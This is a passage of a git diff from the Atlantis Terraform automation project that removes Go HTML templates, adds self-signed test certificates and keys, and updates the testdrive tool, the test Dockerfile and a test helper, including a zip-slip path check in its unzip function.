- -// IndexData holds the data for rendering the index page -type IndexData struct { - Locks []LockIndexData - AtlantisVersion string - // CleanedBasePath is the path Atlantis is accessible at externally. If - // not using a path-based proxy, this will be an empty string. Never ends - // in a '/' (hence "cleaned"). - CleanedBasePath string -} - -var indexTemplate = template.Must(template.New("index.html.tmpl").Parse(` - - - - - atlantis - - - - - - - - - - - -
-
- -

atlantis

-

Plan discarded and unlocked!

-
- - -
-
-

Locks

- {{ if .Locks }} - {{ $basePath := .CleanedBasePath }} - {{ range .Locks }} - -
-
{{.RepoFullName}} #{{.PullNum}} {{.Path}} {{.Workspace}}
-
Locked
-
{{.TimeFormatted}}
-
-
- {{ end }} - {{ else }} -

No locks found.

- {{ end }} -
-
-
-v{{ .AtlantisVersion }} -
- - -`)) - -// LockDetailData holds the fields needed to display the lock detail view. -type LockDetailData struct { - LockKeyEncoded string - LockKey string - RepoOwner string - RepoName string - PullRequestLink string - LockedBy string - Workspace string - Time time.Time - AtlantisVersion string - // CleanedBasePath is the path Atlantis is accessible at externally. If - // not using a path-based proxy, this will be an empty string. Never ends - // in a '/' (hence "cleaned"). - CleanedBasePath string -} - -var lockTemplate = template.Must(template.New("lock.html.tmpl").Parse(` - - - - - atlantis - - - - - - - - - - -
-
- -

atlantis

-

{{.LockKey}} Locked

-
- -
-
-
-
Repo Owner: {{.RepoOwner}}
-
Repo Name: {{.RepoName}}
-
Pull Request Link: {{.PullRequestLink}}
-
Locked By: {{.LockedBy}}
-
Workspace: {{.Workspace}}
-
-
- -
-
- -
-v{{ .AtlantisVersion }} -
- - - -`)) - -// GithubSetupData holds the data for rendering the github app setup page -type GithubSetupData struct { - Target string - Manifest string - ID int64 - Key string - WebhookSecret string - URL string -} - -var githubAppSetupTemplate = template.Must(template.New("github-app.html.tmpl").Parse(` - - - - - atlantis - - - - - - - - - - - -
-
- -

atlantis

- -

- {{ if .Target }} - Create a github app - {{ else }} - Github app created successfully! - {{ end }} -

-
-
- {{ if .Target }} -
- - -
- {{ else }} -

Visit {{ .URL }}/installations/new to install the app for your user or organization, then update the following values in your config and restart Atlantis:

- -
    -
  • gh-app-id:
    {{ .ID }}
  • -
  • gh-app-key-file:
    {{ .Key }}
  • -
  • gh-webhook-secret:
    {{ .WebhookSecret }}
  • -
- {{ end }} -
-
- - -`)) diff --git a/testdata/cert.pem b/testdata/cert.pem new file mode 100644 index 0000000000..b2adc796d9 --- /dev/null +++ b/testdata/cert.pem @@ -0,0 +1,21 @@ +-----BEGIN CERTIFICATE----- +MIIDiDCCAnACCQDOnvpjFkiR7TANBgkqhkiG9w0BAQsFADCBhTELMAkGA1UEBhMC +YXQxETAPBgNVBAgMCGF0bGFudGlzMREwDwYDVQQHDAhhdGxhbnRpczERMA8GA1UE +CgwIYXRsYW50aXMxETAPBgNVBAsMCGF0bGFudGlzMREwDwYDVQQDDAhhdGxhbnRp +czEXMBUGCSqGSIb3DQEJARYIYXRsYW50aXMwHhcNMjIxMTEwMTg1ODAwWhcNMjIx +MjEwMTg1ODAwWjCBhTELMAkGA1UEBhMCYXQxETAPBgNVBAgMCGF0bGFudGlzMREw +DwYDVQQHDAhhdGxhbnRpczERMA8GA1UECgwIYXRsYW50aXMxETAPBgNVBAsMCGF0 +bGFudGlzMREwDwYDVQQDDAhhdGxhbnRpczEXMBUGCSqGSIb3DQEJARYIYXRsYW50 +aXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQ+d1Yhu2MBljro63h +bYJk3NgMjhiHQzvV2Uy9C6UnXZ0pELWa3utYx+rTAJUjOWxfed59qF2IGAAMWmm7 +GQt/Apz0AMtU1uSYzQGYQkWVnAODKRtUC+nBrJYnW4r1zY1/duP74rVuLMFLWhlg +O7XPHbtQK5psYlXLmiyaljWpIMnj3pf/H1MUue+AD9yTpg+sRKscnbNsOVB8NV7Z +mfpeddTkNuQL1d1KqfzF6bKz+zbyrcBz+NHC1SmvCGViRie/nE7UDd5OyHA4WM21 +CDfLvCJxmKG69nFDY8Z8EPu/WGWYndeG0piefdlFpZ8GQTpmxD7dgcZ6M3fnCIdX +Zvp/AgMBAAEwDQYJKoZIhvcNAQELBQADggEBAGlib941RVj17ynlH/MQ+R1x01a/ +f0GrhHbM4N2IuwGZ77bS4f/yQMC5YJBDcBOog5v7bR3VM8rCNgYSlZDl2aBzBP+8 +vXDjGQHr4AfV+dgM/6J7xdzQKpfFr7JCR421O9KOoI+rbuk4+HG2JpILR6H305XX +KOkiD3Ywbdvsng0gA3rMxKTTs0XWu8Rki7r227P5p73yNBOwLQHwiewAfDiASJ/P +UfzOEJjRHYe6ivz181HVQVn/4RJa1LbVtCVDk70VBA3N4tGHLb4eyeMcn/do1Hvg +8m//uN6x2s7TeswAEGCoj1LIhjHWIulAwlNCHIcXMguJqvubfhzlxmE601I= +-----END CERTIFICATE----- diff --git a/testdata/cert2.pem b/testdata/cert2.pem new file mode 100644 index 0000000000..7fbb623191 --- /dev/null +++ b/testdata/cert2.pem @@ -0,0 +1,22 @@ +-----BEGIN CERTIFICATE----- +MIIDlDCCAnwCCQCGl++WdvHa4jANBgkqhkiG9w0BAQsFADCBizELMAkGA1UEBhMC +YXQxEjAQBgNVBAgMCWF0bGFudGlzMjESMBAGA1UEBwwJYXRsYW50aXMyMRIwEAYD +VQQKDAlhdGxhbnRpczIxEjAQBgNVBAsMCWF0bGFudGlzMjESMBAGA1UEAwwJYXRs +YW50aXMyMRgwFgYJKoZIhvcNAQkBFglhdGxhbnRpczIwHhcNMjIxMTEwMTkwNDIx +WhcNMjIxMjEwMTkwNDIxWjCBizELMAkGA1UEBhMCYXQxEjAQBgNVBAgMCWF0bGFu +dGlzMjESMBAGA1UEBwwJYXRsYW50aXMyMRIwEAYDVQQKDAlhdGxhbnRpczIxEjAQ +BgNVBAsMCWF0bGFudGlzMjESMBAGA1UEAwwJYXRsYW50aXMyMRgwFgYJKoZIhvcN +AQkBFglhdGxhbnRpczIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC+ +6bvLyg+VlYT/SU7lXJc2Dmdtehe7C/yckNpl+Zjj/8nkNRYfqJ2g8iwHASOWO7+V +vdg91Ti6eC+OMjg54iSmd2rZQ6734I+hSo3C/l4alkOArjDumQPddynjMiOaB67u +S67+vyBwbQq10BxOgJOhY/wQnLBJhOUhWh+UrjnL1LsET6qQicLwTzt/1cWzXmYS +I8gTs0um+7r5WCB/Raf++KhboCtX3zEj6CV164ucEV65y2vQRIa7PQH+znCHGxbT +nnZdielbJPc0S2hVtL2cRqocKCdEYKY3co27Hgvt/M7byETyLbmxbMK1r4f4icr9 +dyqKeY6aT+PxZ43nggYdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAJTVkyx5SGnh +J5hKOgseJbh4AvwPB++jsrN+z5FE5A6WR/3zZA2bfUuit5uKLAQ0di3l03bZf+2l +zvxLmmeShOArzkaCQ0IRZdHl7rIaFHignikHnon1/fkBVqOoi+R0Hsn6GhVoQYo/ +C7zxQYyM/57Yw1VOW9vheIhvNgomv4GxaztrGEVT5tG58j9BgKqKYOfsHz07rYXc +S2/iMML0xsgj5vXq9XiNJ0NVT3hD+LBnR5DZG64ITP9AgK22VeYKQrXiPWuzacKC +zn+ptHXFDeqofAS6UoelrQ4ZchIsc48IsWdIW5SI3FOfiao4R0l5T7BqToSyP5V2 +DYLLTHTfIL4= +-----END CERTIFICATE----- diff --git a/testdata/key.pem b/testdata/key.pem new file mode 100644 index 0000000000..9b00b63f00 --- /dev/null +++ b/testdata/key.pem @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDQ+d1Yhu2MBljr +o63hbYJk3NgMjhiHQzvV2Uy9C6UnXZ0pELWa3utYx+rTAJUjOWxfed59qF2IGAAM +Wmm7GQt/Apz0AMtU1uSYzQGYQkWVnAODKRtUC+nBrJYnW4r1zY1/duP74rVuLMFL +WhlgO7XPHbtQK5psYlXLmiyaljWpIMnj3pf/H1MUue+AD9yTpg+sRKscnbNsOVB8 +NV7ZmfpeddTkNuQL1d1KqfzF6bKz+zbyrcBz+NHC1SmvCGViRie/nE7UDd5OyHA4 +WM21CDfLvCJxmKG69nFDY8Z8EPu/WGWYndeG0piefdlFpZ8GQTpmxD7dgcZ6M3fn +CIdXZvp/AgMBAAECggEANjUaXaRiajgbSMSkjh1B/bfrsxYI9s1R8B718PPcW2HF +KqnS8eFxWw5As4srJH/4xKtwM1hBKtRO7uVlF8tfWArte73ZAKDdm2VSTJSkSDK4 +FoXLOPn+IOcL7Bmq6ifv1GiaqvQb7ABgA5PTkUrr1lX4CMvGuuanKrFLcK4WLVCD +9+GHiduaV0BfTPA3RmszrA4zLOXlI+5zlGwGNb5pUz914i9Lk0feIYbOXRMx9M+U +FmDrKvasIXguUHGRWZ7D7ugV6j5/BTuCBjbzH6067YkA4NnXfiSKNTkedz+qTkGC +IJXUCPMDzy6TKbdPMx94OKot14f0qaGZx8zZ0taLAQKBgQDwfoT4gYKl+X/3X0aG +IZ5tSaLzAXKdlZ55W8YXCWDUX/b3YULGzILqEiS5RgnRIA0tGbtu3PMXtiol5Iff +e4ywSZGilvvPJBbw17l8iC3Y/rnHp6wlOhVusdjozBhOuc3CQj3k56p0OXyahmzN +eHp/zsOMimIeef2ZlskmvXZqjwKBgQDecx8VQoi8Ph8/IDD/2P6wIU73qv57AY8K +pRQqRX3zffEN6nr0Xnlb44Oy/zA/5/7FNcEF4D2jhPQF8zkOll5tf0HlbVAVIlfC +F5o8t0S05Uj5a6zAkc34bCV+oWwvCmxk5vCvDl2POAiO+dqYxom4bFsxRmMOf1VC +hh5YDXcpEQKBgQChc36XSnLINCipjIfO8nDmU6IWW6lzi4d5V5gzzPL5gHdO+jeX +OKLGu2l2DEP45fiSh4ziT2jPSVcgWzywVsRLcQhZS90+4a6Y/2oh5VZKMC/Ojo0t +7MGIr9K77pB/AZPVzxy4OKKhJhq1rnsKsdAjT07OYfSfGyyaWLUv0c/WlwKBgQDR +pYOk4LjHWHDQaIFljtexnSK0TgZaXUS3To8rq6Shh49YgyVwC12q2Uh0uQZ7JCU7 +LYcGB6lv48yrkueyNMs3vRiYpiY0VNKKjP4CvOJW7kSRNQZx0rhgqWPI7U9tIhC4 +I+KvyQUqBjAit51qIKsJEa38SY7vydfLw2TzrXUhUQKBgBgxh9csF9JQfMRKO1Nv +g5YWGFHdujl1Y2Qnf9nWHhQKy2wmCCoD0a0aRs6p0tyZXyqJfyBrPBEGF3VUONqf +OK1b5tSj3w+APFW0hNFQABE8lRYBA/Qq6dAf+pTnDF0+ak9DKzlafhFI7w0dOZU2 +bYCXCqkOjIcnONDRDr04jE8c +-----END PRIVATE KEY----- diff --git a/testdata/key2.pem b/testdata/key2.pem new file mode 100644 index 0000000000..1c6deb2845 --- /dev/null +++ b/testdata/key2.pem @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+6bvLyg+VlYT/ +SU7lXJc2Dmdtehe7C/yckNpl+Zjj/8nkNRYfqJ2g8iwHASOWO7+Vvdg91Ti6eC+O +Mjg54iSmd2rZQ6734I+hSo3C/l4alkOArjDumQPddynjMiOaB67uS67+vyBwbQq1 +0BxOgJOhY/wQnLBJhOUhWh+UrjnL1LsET6qQicLwTzt/1cWzXmYSI8gTs0um+7r5 +WCB/Raf++KhboCtX3zEj6CV164ucEV65y2vQRIa7PQH+znCHGxbTnnZdielbJPc0 +S2hVtL2cRqocKCdEYKY3co27Hgvt/M7byETyLbmxbMK1r4f4icr9dyqKeY6aT+Px +Z43nggYdAgMBAAECggEAKUNxsLFivu0LSvY4VEC3+hoQ5sut12LW3aw9WC8jiZwe +sfF7b6pNL51IQNdRLsaJOT9IPs0YLs2NUcmu92vWihhjgsQrTC5APRdVHqFGC68Q +tf5wWxG9kR+RcSbEJSWl/KFlGHCM/V/EIdnyVFFcF1T6BUkonStZLuVA0Cz8Fv7r +MO2mtmwtOcTAQaUqHSxdcq9ASmuh3QA9tUmn11oCjHwVbKrFrKNQW20vSn71pk4Z +UiXnppRi7tk1t+PJb4VIEdUTw3JYwtp/HRgnfQ8VFDxWxWDPL4hHkBU270i7oIr3 ++DR0+A1eylCuKXO5Il75uMYs8mKjFyGCLFWoGWtW7QKBgQDlAva0FYrbDUFmdUjz +MCOVfOoPkaQB1bd9CK21b8HxGrcXbXwJzs/n2RV4GHZgodSADN2+fKvslpJofD3z +Cnim60MJ8WcxB8Ez+Jvfktap8Kox0qQEZPpIN9hQxBxcXaLL+9TcWvkYJwCDjy+7 +LmfHEh9puECnxw5YAlHAreRCowKBgQDVaWB80Ehp9Q4McescrUtbsA0CYI3mkZgx +6YU44/+DqiQStwQLttaOXvI4HXUqTdQgi8wMIJN/EOkMeAA1tuyULXJK9dkEB1pm +zHF65USCr29g2hr/PsLckryKMtnyDGRW7YimXz8P03t5LfJ/M6Ovc7QJm6HSwCkS +FyxrvU3gPwKBgCcWlGk0bBjrcEg+qI7pnok7Yu/5Wdb+VW0/9/ZJ9v5iIvIau9so +s4/NG7793easeIrKp2aF/QpKwP6YhjJfjSxgZ3bg/039Ftr6ChDlDULAUyxh2aDu +Y1HERmWys2yIhuruNuzNkkqvDYVnASyfxRLTYw02Z8K7VRVsf+u1QoqlAoGBAJ6i +HNnKTPmN8apoh3aijhCSdakdsn0AHpyDU8btG4J4VyYeKoC2oRflFbGGnBAdGCA1 +KjCdimX6YPEmxiknVwXyHjIAOxdWi+k78OKER3/I/kaE+Wpf8aLZ5BHqKL1WXsOK +/3eD9zFBZ1e1Qrsw3GxP2jUGHay1sBHFbfyME7YrAoGAXaa9GiSi/HjOgOS8nzGf +OzSl+I/fm651QjQ0tRVjVH777P3ZYyjdZNFYDb0x+fsvqTbkfkVtgeWuyoAVIwqy +BtWyvTYutjwwUi53oIpRBe3qhIWIQUZgyAwXVis8FChSv3aaCePij+Bwju6laIfj ++K5StCn2WaOE1d1akqF6C40= +-----END PRIVATE KEY----- diff --git a/testdrive/github.go b/testdrive/github.go index ef95c742b8..79f889c07c 100644 --- a/testdrive/github.go +++ b/testdrive/github.go @@ -18,7 +18,7 @@ import ( "strings" "time" - "github.com/google/go-github/v31/github" + "github.com/google/go-github/v71/github" ) var githubUsername string @@ -55,13 +55,15 @@ func (g *Client) CheckForkSuccess(ownerName string, forkRepoName string) bool { // CreateWebhook creates a GitHub webhook to send requests to our local ngrok. func (g *Client) CreateWebhook(ownerName string, repoName string, hookURL string) error { + contentType := "json" + hookConfig := &github.HookConfig{ + ContentType: github.Ptr(contentType), + URL: github.Ptr(hookURL), + } atlantisHook := &github.Hook{ Events: []string{"issue_comment", "pull_request", "pull_request_review", "push"}, - Config: map[string]interface{}{ - "url": hookURL, - "content_type": "json", - }, - Active: github.Bool(true), + Config: hookConfig, + Active: github.Ptr(true), } _, _, err := g.client.Repositories.CreateHook(g.ctx, ownerName, repoName, atlantisHook) return err @@ -85,10 +87,10 @@ func (g *Client) CreatePullRequest(ownerName string, repoName string, head strin // If not, create it. newPullRequest := &github.NewPullRequest{ - Title: github.String("Welcome to Atlantis!"), - Head: github.String(head), - Body: github.String(pullRequestBody), - Base: github.String(base), + Title: github.Ptr("Welcome to Atlantis!"), + Head: github.Ptr(head), + Body: github.Ptr(pullRequestBody), + Base: github.Ptr(base), } pull, _, err := g.client.PullRequests.Create(g.ctx, ownerName, repoName, newPullRequest) if err != nil { diff --git a/testdrive/testdrive.go b/testdrive/testdrive.go index 0e0356fde0..65cb8ddd49 100644 --- a/testdrive/testdrive.go +++ b/testdrive/testdrive.go @@ -3,7 +3,9 @@ // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 +// +// http://www.apache.org/licenses/LICENSE-2.0 +// // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @@ -18,7 +20,6 @@ package testdrive import ( "context" "fmt" - "io/ioutil" "os" "os/exec" "os/signal" @@ -30,7 +31,7 @@ import ( "time" "github.com/briandowns/spinner" - "github.com/google/go-github/v31/github" + "github.com/google/go-github/v71/github" "github.com/mitchellh/colorstring" "github.com/pkg/errors" ) @@ -77,7 +78,7 @@ In this pull request we will learn how to use Atlantis. $$$ atlantis apply $$$ - **NOTE:** Because this example isn't using [remote state storage](https://www.terraform.io/docs/state/remote.html) the state will be lost once the pull request is merged. To use Atlantis properly, you **must** be using remote state. + **NOTE:** Because this example isn't using [remote state storage](https://developer.hashicorp.com/terraform/language/state/remote) the state will be lost once the pull request is merged. To use Atlantis properly, you **must** be using remote state. 1. Finally, merge the pull request to unlock this directory. @@ -98,7 +99,7 @@ To continue, we need you to create a GitHub personal access token with [green]"repo" [reset]scope so we can fork an example terraform project. Follow these instructions to create a token (we don't store any tokens): -[green]https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/#creating-a-token[reset] +[green]https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token[reset] - use "atlantis" for the token description - add "repo" scope - copy the access token @@ -119,13 +120,13 @@ Follow these instructions to create a token (we don't store any tokens): return errors.Wrapf(err, "forking repo %s/%s", terraformExampleRepoOwner, terraformExampleRepo) } if !githubClient.CheckForkSuccess(terraformExampleRepoOwner, terraformExampleRepo) { - return fmt.Errorf("didn't find forked repo %s/%s. fork unsuccessful", terraformExampleRepoOwner, terraformExampleRepoOwner) + return fmt.Errorf("didn't find forked repo %s/%s. fork unsuccessful", terraformExampleRepoOwner, terraformExampleRepo) } s.Stop() colorstring.Println("[green]=> fork completed![reset]") // Detect terraform and install it if not installed. - _, err := exec.LookPath("terraform") + terraformPath, err := exec.LookPath("terraform") if err != nil { colorstring.Println("[yellow]=> terraform not found in $PATH.[reset]") colorstring.Println("=> downloading terraform ") @@ -143,18 +144,25 @@ Follow these instructions to create a token (we don't store any tokens): } colorstring.Println("[green]=> installed terraform successfully at /usr/local/bin[reset]") } else { - colorstring.Println("[green]=> terraform found in $PATH![reset]") + colorstring.Printf("[green]=> terraform found in $PATH at %s\n[reset]", terraformPath) } - // Download ngrok. - colorstring.Println("=> downloading ngrok ") - s.Start() - ngrokURL := fmt.Sprintf("%s/ngrok-stable-%s-%s.zip", ngrokDownloadURL, runtime.GOOS, runtime.GOARCH) - if err = downloadAndUnzip(ngrokURL, "/tmp/ngrok.zip", "/tmp"); err != nil { - return errors.Wrapf(err, "downloading and unzipping ngrok") + // Detect ngrok and install it if not installed + ngrokPath, ngrokErr := exec.LookPath("ngrok") + if ngrokErr != nil { + colorstring.Println("[yellow]=> ngrok not found in $PATH.[reset]") + colorstring.Println("=> downloading ngrok") + s.Start() + ngrokURL := fmt.Sprintf("%s/ngrok-stable-%s-%s.zip", ngrokDownloadURL, runtime.GOOS, runtime.GOARCH) + if err = downloadAndUnzip(ngrokURL, "/tmp/ngrok.zip", "/tmp"); err != nil { + return errors.Wrapf(err, "downloading and unzipping ngrok") + } + s.Stop() + colorstring.Println("[green]=> downloaded ngrok successfully![reset]") + ngrokPath = "/tmp/ngrok" + } else { + colorstring.Printf("[green]=> ngrok found in $PATH at %s\n[reset]", ngrokPath) } - s.Stop() - colorstring.Println("[green]=> downloaded ngrok successfully![reset]") // Create ngrok tunnel. colorstring.Println("=> creating secure tunnel") @@ -165,6 +173,7 @@ Follow these instructions to create a token (we don't store any tokens): // will just choose a random API port and we won't be able to get the right // url. ngrokConfig := fmt.Sprintf(` +version: 1 web_addr: %s tunnels: atlantis: @@ -173,11 +182,11 @@ tunnels: proto: http `, ngrokAPIURL, atlantisPort) - ngrokConfigFile, err := ioutil.TempFile("", "") + ngrokConfigFile, err := os.CreateTemp("", "atlantis-testdrive-ngrok-config") if err != nil { return errors.Wrap(err, "creating ngrok config file") } - err = ioutil.WriteFile(ngrokConfigFile.Name(), []byte(ngrokConfig), 0600) + err = os.WriteFile(ngrokConfigFile.Name(), []byte(ngrokConfig), 0600) if err != nil { return errors.Wrap(err, "writing ngrok config file") } @@ -189,7 +198,7 @@ tunnels: tunnelReadyLog := regexp.MustCompile("client session established") tunnelTimeout := 20 * time.Second cancelNgrok, ngrokErrors, err := execAndWaitForStderr(&wg, tunnelReadyLog, tunnelTimeout, - "/tmp/ngrok", "start", "atlantis", "--config", ngrokConfigFile.Name(), "--log", "stderr", "--log-format", "term") + ngrokPath, "start", "atlantis", "--config", ngrokConfigFile.Name(), "--log", "stderr", "--log-format", "term") // Check if we got a fast error. Move on if we haven't (the command is still running). if err != nil { s.Stop() @@ -211,7 +220,7 @@ tunnels: // Start atlantis server. colorstring.Println("=> starting atlantis server") s.Start() - tmpDir, err := ioutil.TempDir("", "") + tmpDir, err := os.MkdirTemp("", "") if err != nil { return errors.Wrap(err, "creating a temporary data directory for Atlantis") } @@ -243,7 +252,7 @@ tunnels: // Create a new pr in the example repo. colorstring.Println("=> creating a new pull request") s.Start() - pullRequestURL, err := githubClient.CreatePullRequest(githubUsername, terraformExampleRepo, "example", "master") + pullRequestURL, err := githubClient.CreatePullRequest(githubUsername, terraformExampleRepo, "example", "main") if err != nil { return errors.Wrapf(err, "creating new pull request for repo %s/%s", githubUsername, terraformExampleRepo) } @@ -277,8 +286,14 @@ tunnels: colorstring.Println("\n[green]Thank you for using atlantis :) \n[reset]For more information about how to use atlantis in production go to: https://www.runatlantis.io") return nil case err := <-ngrokErrors: - return errors.Wrap(err, "ngrok tunnel") + if err != nil { + err = errors.Wrap(err, "ngrok tunnel") + } + return err case err := <-atlantisErrors: - return errors.Wrap(err, "atlantis server") + if err != nil { + err = errors.Wrap(err, "atlantis server") + } + return err } } diff --git a/testdrive/utils.go b/testdrive/utils.go index 756c2ceec3..3db39f7ac0 100644 --- a/testdrive/utils.go +++ b/testdrive/utils.go @@ -20,28 +20,28 @@ import ( "encoding/json" "fmt" "io" - "io/ioutil" "net/http" "os" "os/exec" "path/filepath" "regexp" + "strings" "sync" "syscall" "time" "github.com/pkg/errors" - "golang.org/x/crypto/ssh/terminal" + "golang.org/x/term" ) const hashicorpReleasesURL = "https://releases.hashicorp.com" -const terraformVersion = "0.10.8" +const terraformVersion = "1.11.4" // renovate: datasource=github-releases depName=hashicorp/terraform versioning=hashicorp const ngrokDownloadURL = "https://bin.equinox.io/c/4VmDzA7iaHb" const ngrokAPIURL = "localhost:41414" // We hope this isn't used. const atlantisPort = 4141 func readPassword() (string, error) { - password, err := terminal.ReadPassword(int(syscall.Stdin)) // nolint: unconvert + password, err := term.ReadPassword(int(syscall.Stdin)) // nolint: unconvert return string(password), err } @@ -62,6 +62,17 @@ func downloadFile(url string, path string) error { return err } +// This function is used to sanitize the file path to avoid a "zip slip" attack +// source: https://github.com/securego/gosec/issues/324#issuecomment-935927967 +func sanitizeArchivePath(d, t string) (v string, err error) { + v = filepath.Join(d, t) + if strings.HasPrefix(v, filepath.Clean(d)) { + return v, nil + } + + return "", fmt.Errorf("%s: %s", "content filepath is tainted", t) +} + func unzip(archive, target string) error { reader, err := zip.OpenReader(archive) if err != nil { @@ -69,7 +80,11 @@ func unzip(archive, target string) error { } for _, file := range reader.File { - path := filepath.Join(target, file.Name) // nolint: gosec + path, err := sanitizeArchivePath(target, file.Name) + if err != nil { + return err + } + if file.FileInfo().IsDir() { if err := os.MkdirAll(path, file.Mode()); err != nil { return err @@ -89,8 +104,14 @@ func unzip(archive, target string) error { } defer targetFile.Close() // nolint: errcheck - if _, err := io.Copy(targetFile, fileReader); err != nil { - return err + for { + _, err := io.CopyN(targetFile, fileReader, 1024) + if err != nil { + if err == io.EOF { + break + } + return err + } } } @@ -117,7 +138,7 @@ func getTunnelAddr() (string, error) { var t tunnels - body, err := ioutil.ReadAll(response.Body) + body, err := io.ReadAll(response.Body) if err != nil { return "", errors.Wrap(err, "reading ngrok api") } @@ -208,7 +229,7 @@ func execAndWaitForStderr(wg *sync.WaitGroup, stderrMatch *regexp.Regexp, timeou cancel() // We still need to wait for the command to finish. command.Wait() // nolint: errcheck - return cancel, errChan, fmt.Errorf("timeout, logs:\n%s\n", log) // nolint: staticcheck, golint + return cancel, errChan, fmt.Errorf("timeout, logs:\n%s\n", log) // nolint: staticcheck, revive } // Increment the wait group so callers can wait for the command to finish. diff --git a/testing/Dockerfile b/testing/Dockerfile index f2f6cea0e3..0c3485b15d 100644 --- a/testing/Dockerfile +++ b/testing/Dockerfile @@ -1,14 +1,35 @@ -# This Dockerfile builds the docker image used for running circle ci tests. -# We need terraform installed for our full test suite so it installs that. -# It's updated by running make build-testing-image which will also push a new -# image. -FROM circleci/golang:1.14 +FROM golang:1.24.4@sha256:10c131810f80a4802c49cab0961bbe18a16f4bb2fb99ef16deaa23e4246fc817 + +RUN apt-get update && apt-get --no-install-recommends -y install unzip \ + && apt-get clean \ + && rm -rf /var/lib/apt/lists/* # Install Terraform -ENV TERRAFORM_VERSION=0.13.5 -RUN curl -LOks https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_linux_amd64.zip && \ - sudo mkdir -p /usr/local/bin/tf/versions/${TERRAFORM_VERSION} && \ - sudo unzip terraform_${TERRAFORM_VERSION}_linux_amd64.zip -d /usr/local/bin/tf/versions/${TERRAFORM_VERSION} && \ - sudo ln -s /usr/local/bin/tf/versions/${TERRAFORM_VERSION}/terraform /usr/local/bin/terraform && \ - rm terraform_${TERRAFORM_VERSION}_linux_amd64.zip -RUN go get golang.org/x/tools/cmd/goimports +# renovate: datasource=github-releases depName=hashicorp/terraform versioning=hashicorp +ENV TERRAFORM_VERSION=1.11.4 +RUN case $(uname -m) in x86_64|amd64) ARCH="amd64" ;; aarch64|arm64|armv7l) ARCH="arm64" ;; esac && \ + wget -nv -O terraform.zip https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_linux_${ARCH}.zip && \ + mkdir -p /usr/local/bin/tf/versions/${TERRAFORM_VERSION} && \ + unzip terraform.zip -d /usr/local/bin/tf/versions/${TERRAFORM_VERSION} && \ + ln -s /usr/local/bin/tf/versions/${TERRAFORM_VERSION}/terraform /usr/local/bin/terraform && \ + rm terraform.zip + +# Install conftest +# renovate: datasource=github-releases depName=open-policy-agent/conftest +ENV CONFTEST_VERSION=0.59.0 +SHELL ["/bin/bash", "-o", "pipefail", "-c"] +RUN case $(uname -m) in x86_64|amd64) ARCH="x86_64" ;; aarch64|arm64|armv7l) ARCH="arm64" ;; esac && \ + curl -LOs https://github.com/open-policy-agent/conftest/releases/download/v${CONFTEST_VERSION}/conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz && \ + curl -LOs https://github.com/open-policy-agent/conftest/releases/download/v${CONFTEST_VERSION}/checksums.txt && \ + sed -n "/conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz/p" checksums.txt | sha256sum -c && \ + mkdir -p /usr/local/bin/cft/versions/${CONFTEST_VERSION} && \ + tar -C /usr/local/bin/cft/versions/${CONFTEST_VERSION} -xzf conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz && \ + # Generally Atlantis requires `conftest$version` command. But we use `conftest` command in test. + # `conftest$version` command blocks upgrading conftest operation cause e2e test use this image. + ln -s /usr/local/bin/cft/versions/${CONFTEST_VERSION}/conftest /usr/local/bin/conftest && \ + rm conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz && \ + rm checksums.txt + +RUN useradd -u 1001 -m atlantis + +USER atlantis diff --git a/testing/Makefile b/testing/Makefile deleted file mode 100644 index 49a5387eca..0000000000 --- a/testing/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -TEST_IMAGE_NAME := runatlantis/testing-env - -.DEFAULT_GOAL := help -help: ## List targets & descriptions - @cat Makefile* | grep -E '^[a-zA-Z_-]+:.*?## .*$$' | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' - -build-testing-image: ## Build and push the testing image - docker build -t $(TEST_IMAGE_NAME):$$(git rev-parse HEAD) . - docker tag $(TEST_IMAGE_NAME):$$(git rev-parse HEAD) $(TEST_IMAGE_NAME):latest - docker push $(TEST_IMAGE_NAME):$$(git rev-parse HEAD) - docker push $(TEST_IMAGE_NAME):latest diff --git a/testing/assertions.go b/testing/assertions.go index 918e342856..5884399937 100644 --- a/testing/assertions.go +++ b/testing/assertions.go @@ -17,8 +17,8 @@ import ( "strings" "testing" - "github.com/davecgh/go-spew/spew" "github.com/go-test/deep" + "github.com/kr/pretty" ) // Assert fails the test if the condition is false. @@ -46,7 +46,7 @@ func Ok(tb testing.TB, err error) { func Equals(tb testing.TB, exp, act interface{}) { tb.Helper() if diff := deep.Equal(exp, act); diff != nil { - errLog(tb, "%s\n\nexp: %s******\ngot: %s", diff, spew.Sdump(exp), spew.Sdump(act)) + errLog(tb, "%s\n\nexp: %s******\ngot: %s", diff, pretty.Sprint(exp), pretty.Sprint(act)) tb.FailNow() } } diff --git a/testing/hooks/post_push b/testing/hooks/post_push new file mode 100644 index 0000000000..0fd07be166 --- /dev/null +++ b/testing/hooks/post_push @@ -0,0 +1,4 @@ +#!/bin/bash + +docker tag $IMAGE_NAME $DOCKER_REPO:$SOURCE_COMMIT +docker push $DOCKER_REPO:$SOURCE_COMMIT diff --git a/testing/http.go b/testing/http.go new file mode 100644 index 0000000000..c6623e10bf --- /dev/null +++ b/testing/http.go @@ -0,0 +1,16 @@ +package testing + +import ( + "io" + "net/http/httptest" + "strings" + 